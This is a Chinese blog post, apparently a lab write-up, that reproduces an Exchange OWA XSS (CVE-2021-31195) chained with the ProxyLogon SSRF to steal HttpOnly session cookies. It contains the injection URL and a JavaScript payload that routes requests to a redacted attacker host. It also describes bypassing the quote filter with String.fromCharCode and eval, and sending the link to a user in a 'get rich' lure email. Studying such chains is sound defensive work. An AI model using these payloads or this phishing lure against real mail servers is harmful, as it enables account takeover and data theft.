exchange中XSS

exchange中XSS

0x01前言

实验环境:win7、winserver2016、win10。
win7搭建有https服务器,winserver2016 exchange搭载在上边,win10作渗透机

0x11漏洞信息

首先是一个XSS漏洞(CVE-2021-31195)漏洞成因使用\绕过json格式从而达到js注入。

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

0x21复现

既然有XSS那么试试看,document.cookie看看能不能直接获取。😥,发现重要的cookie受到了httponly保护,既然document.cookie失败了,那么直接获取cookie发送到目标是行不通了。

但是我们可以借鉴proxyLogon中的ssrf,这个ssrf非常的强大(在学习了通过XSS获取cookie以后,才发现了这个SSRF非常强大)。

proxyLogon中的SSRF,就是绕过exchange的前端认证,直接访问可控后端(exchange有前端代理模块,只有当前端代理认证成功了,请求才会发送到后端)。

在这里插入图片描述

也许到这里我们还没有发现这个SSRF的强大。接下来请看,在ssrf以后,后端路径是可控的,那如果我们把可控的后端路径设置为任意服务器地址,那岂不是请求可以发送到任意服务器,这样子exchange服务器就成了我们的帮凶。

顺着这个思路我们来试一试。

首先搭建好一个直接https的服务器来接收exchange发送过来的https请求,必须是https因为exchange前端发送给后端的是https。

首先直接上写好的js。

document.cookie="X-AnonResource=true";document.cookie="X-AnonResource-Backend=foo]@xxxxxx/hacker/#~111";var img = document.createElement("img");img.src="https://xxxxxxx/owa/auth/x.js";document.getElementsByTagName("body")[0].appendChild(img);

首先我们先放入url中试一试。

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

js执行不了原因是引号被过滤了变成了&#38形式,紧接着我们试一试能不能执行eval()函数,发现eval()没有过滤。那我们可以先将我们的js变成ascii码然后注入的时候使用String.fromCharCode()将ascii码转换成字符串,再丢进eval()中去执行。直接丢进url中是可以被执行的。

在这里插入图片描述

那我们直接把它当作邮件发给一个用户

在这里插入图片描述

可以看到我们的邮件发出去了。
在这里插入图片描述

在这里插入图片描述

点一下发家致富入口。

在这里插入图片描述

此时再我们win7的服务器上已经获取到了cookie
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值